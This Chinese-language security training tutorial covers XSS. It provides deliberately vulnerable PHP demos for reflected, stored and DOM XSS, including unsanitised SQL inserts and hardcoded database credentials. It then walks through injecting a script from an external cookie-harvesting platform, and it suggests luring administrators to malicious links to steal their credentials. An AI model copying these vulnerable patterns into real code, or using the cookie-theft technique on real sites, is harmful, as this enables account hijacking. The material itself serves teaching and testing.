Web安全 -- XSS漏洞
紅日攻防實驗室 團隊主頁
http://bbs.sec-redclub.com/hr/ 論壇主頁
紅日安全實驗室 | sec-redclub.com 啟程安全培訓課程
公眾號
前言
這是滲透測試方面的第一課,我們跳過了社工技術的講解,在之前的課程講解中已經為大家介紹了社工技術的基本方法,對於社工,我們要做的就是足夠細心和耐心,儘可能的收集可利用的信息,說起來很簡單,但真正落到實際操作上就需要大家付出大量的時間和精力了。
前端漏洞
隨著WEB應用越來越複雜,用戶對WEB安全也越來越重視。再加上前端工程師的工作面已逐漸擴大,開始覆蓋到各種業務邏輯,因此如何應對各種WEB安全問題就顯得十分重要。現在危害比較大的前端漏洞主要有xss跨站腳本漏洞,csrf跨站請求偽造漏洞,網上大量的前端攻擊行為都是基於這兩種漏洞上形成的。今天我們就來介紹下xss漏洞。
xss跨站腳本漏洞
非持久型xss攻擊:顧名思義,非持久型xss攻擊是一次性的,僅對當次的頁面訪問產生影響。非持久型xss攻擊要求用戶訪問一個被攻擊者篡改後的鏈接,用戶訪問該鏈接時,被植入的攻擊腳本被用戶遊覽器執行,從而達到攻擊目的。
持久型xss攻擊:持久型xss,會把攻擊者的數據存儲在伺服器端,攻擊行為將伴隨著攻擊數據一直存在。
xss也可以分成三類:
反射型:經過後端,不經過資料庫
存儲型:經過後端,經過資料庫
DOM型:不經過後端,DOM—based XSS漏洞是基於文檔對象模型Document Objeet Model,DOM)的一種漏洞,dom - xss是通過url傳入參數去控制觸發的。
反射型xss
新建一個xss.php文件並加入以下代碼:
\XSS反射演示
<form action="" method="get">
<input type="text" name="xss"/>
<input type="submit" value="test"/>
</form>
<?php
$xss = @$_GET[xss];
if($xss!==null){
echo $xss;
}
?>
這段代碼中首先包含一個表單,用於向頁面自己發送GET
請求,帶一個名為xss的參數。 然後PHP會讀取該參數,如果不為空,則直接列印出來,這裡不存在任何過濾。也就是說,如果xss中存在HTML結構性的內容,列印之後會直接解釋為HTML元素。
部署好這個文件,訪問http://localhost/xss.php
,直接輸入一個js代碼,比如<script>alert(hack)</script>
之後點擊test:
我們輸入的HTML代碼被執行了。用Firebug查看,我們輸出的內容直接插入到了頁面中,解釋為<script>標籤。
反射型XSS的數據流向是:瀏覽器
-> 後端
-> 瀏覽器
。
存儲型xss
把xss.php內容改為下述內容(同時資料庫中需要配置相應的表):
\存儲XSS演示
<form action="" method="post">
<input type="text" name="xss"/>
<input type="submit" value="test"/>
</form>
<?php
$xss=@$_POST[xss];
mysql_connect("localhost","root","123");
mysql_select_db("xss");
if($xss!==null){
$sql="insert into temp(id,payload) values(1,$xss)";
$result=mysql_query($sql);
echo $result;
}
?>
用戶輸入的內容還是沒有過濾,但是不直接顯示在頁面中,而是插入到了資料庫。
新建show.php,內容為:
<?php
mysql_connect("localhost","root","root");
mysql_select_db("xss");
$sql="select payload from temp where id=1";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
echo $row[payload];
}
?>
該代碼從資料庫讀取了之前插入的內容,並將其顯示出來。
先創建一個資料庫xss,創建temp表
然後訪問xss.php,像之前一樣輸入HTML代碼
點擊test,點擊之後卻發現沒有任何動靜,但事實上,我們的數據已經插入到了資料庫中。
當我們訪問show.php查詢這個值的時候,代碼就會被執行。
存儲型XSS的執行位置通常不同於輸入位置。我們可以看出,存儲行XSS的數據流向是: 瀏覽器
-> 後端
-> 資料庫
-> 後端
-> 瀏覽器
。
DOM型xss
把xss.php內容改為
<?php
error_reporting(0); //禁用錯誤報告
$name = $_GET["name"];
?>
<input id="text" type="text" value="<?php echo $name;?>" />
<div id="print"></div>
<script type="text/javascript">
var text = document.getElementById("text");
var print = document.getElementById("print");
print.innerHTML = text.value; // 獲取 text的值,並且輸出在print內。這裡是導致xss的主要原因。
</script>
DOM-XSS 的數據流向是:URL
-->瀏覽器
總結
在易用上,存儲型XSS > DOM - XSS > 反射型 XSS。
註:反射型xss和dom-xss都需要在數據包中加入js代碼纔能夠觸發。
漏洞利用
通過 XSS 來獲得用戶 Cookie 或其他有用信息,利用平臺負責接收並保存這些信息。XSS利用平臺有很多種如XSS Shell, BeEF, Anehta, CAL9000。
進入搭建好的http://xsser.me平臺首頁輸入用戶名與密碼進行登錄
成功之後會顯示主界面,左邊是模塊列表,右邊是項目列表:
我們點擊左邊「我的項目」旁邊的「創建」按鈕:
名稱和描述可以隨便取,不影響使用。輸入時候點擊「下一步」按鈕。之後會出現「配置代碼」界面:
1
點擊下一步、就會看到這個項目的一些信息
點擊完成。然後我們會在首頁看到我們的新項目,點擊這個項目:
之後點擊項目,進入一個頁面再點擊右上方的查看代碼
就可以看到使用方法:
下面就演示下怎麼利用
把<script src="..."></script>
注入到反射型 XSS 的演示頁面中。
上面的src="xxxx"是我另外創建的一個項目的地址,把你創建好的那個項目,提供的那個地址放進去,就可以了,雖然這個頁面沒反應,但是http://xsser.me那個項目就收到消息了。
測試方法
工具測試
工具方面主要介紹brutexss,工具簡單但效果非常好,也可以加入自己累積的測試語句和繞過語句 BruteXSS是一個非常強大和快速的跨站點腳本暴力注入。它用於暴力注入一個參數。該BruteXSS從指定的詞庫載入多種有效載荷進行注入並且使用指定的載荷和掃描檢查這些參數很容易受到XSS漏洞。得益於非常強大的掃描功能。在執行任務時, BruteXSS是非常準確而且極少誤報。 BruteXSS支持POST和GET請求,適應現代Web應用程序。 開始界面
選擇相應的數據提交方法,並輸入測試的鏈接及相對就的參數
接下來選擇測試payload 就可以開始測試了,自動進行測試,並會輸出對應漏洞內容;
Payload可以自己去完善是這個工具的一大亮點
在以後的日子中發現了那種繞過的方法是工具中沒有的只要把payload加入到列表中就可以了。
手工測試
手工測試是一個複雜的過程,我們要針對頁面返回的內容去構造,這個過程我們要用到神器burpsuit了,利用工具,我們來截斷數據包進行對比分析吧。 頁面的效果是這樣的
他的實際內容是這樣的
我們手工就是要根據返回的內容去進行修改,如果對方閉合了〈〉
或『『
等符號我們要在裡面進行修改,亦或是對方對語句中的某個點進行了限制,我們要進行繞過測試,找到他們禁用的值,這樣我們纔可以完成整個攻擊行為。
危害
由於能夠在生成的 Web 頁面中注入代碼,能想到的威脅有多麼嚴重,就可以有多麼嚴重的威脅。攻擊者可以使用 XSS 漏洞竊取 Cookie,劫持帳戶,執行 ActiveX,執行 Flash 內容,強迫您下載軟體,或者是對硬碟和數據採取操作。
只要您點擊了某些 URL,這一切便有可能發生。每天之中,在閱讀來自留言板或新聞組的受信任的電子郵件的時侯,您會多少次地單擊其中的 URL?
網路釣魚攻擊通常利用 XSS 漏洞來裝扮成合法站點。可以看到很多這樣的情況,比如您的銀行給你發來了一封電子郵件,向您告知對您的帳戶進行了一些修改並誘使您點擊某些超鏈接。如果仔細觀察這些 URL,它們實際上可能利用了銀行網站中存在的漏洞,它們的形式類似於 http://mybank.com/somepage?redirect=<script>alert(『XSS』)</script>
,這裡利用了「redirect」參數來執行攻擊。
如果您足夠狡猾的話,可以將管理員定為攻擊目標,您可以發送一封具有如下主題的郵件:「求救!這個網站地址總是出現錯誤!」在管理員打開該 URL 後,便可以執行許多惡意操作,例如竊取他(或她)的憑證。
好了,現在我們已經理解了它的危害性 -- 危害用戶,危害管理員,給公司帶來壞的公共形象。
推薦閱讀: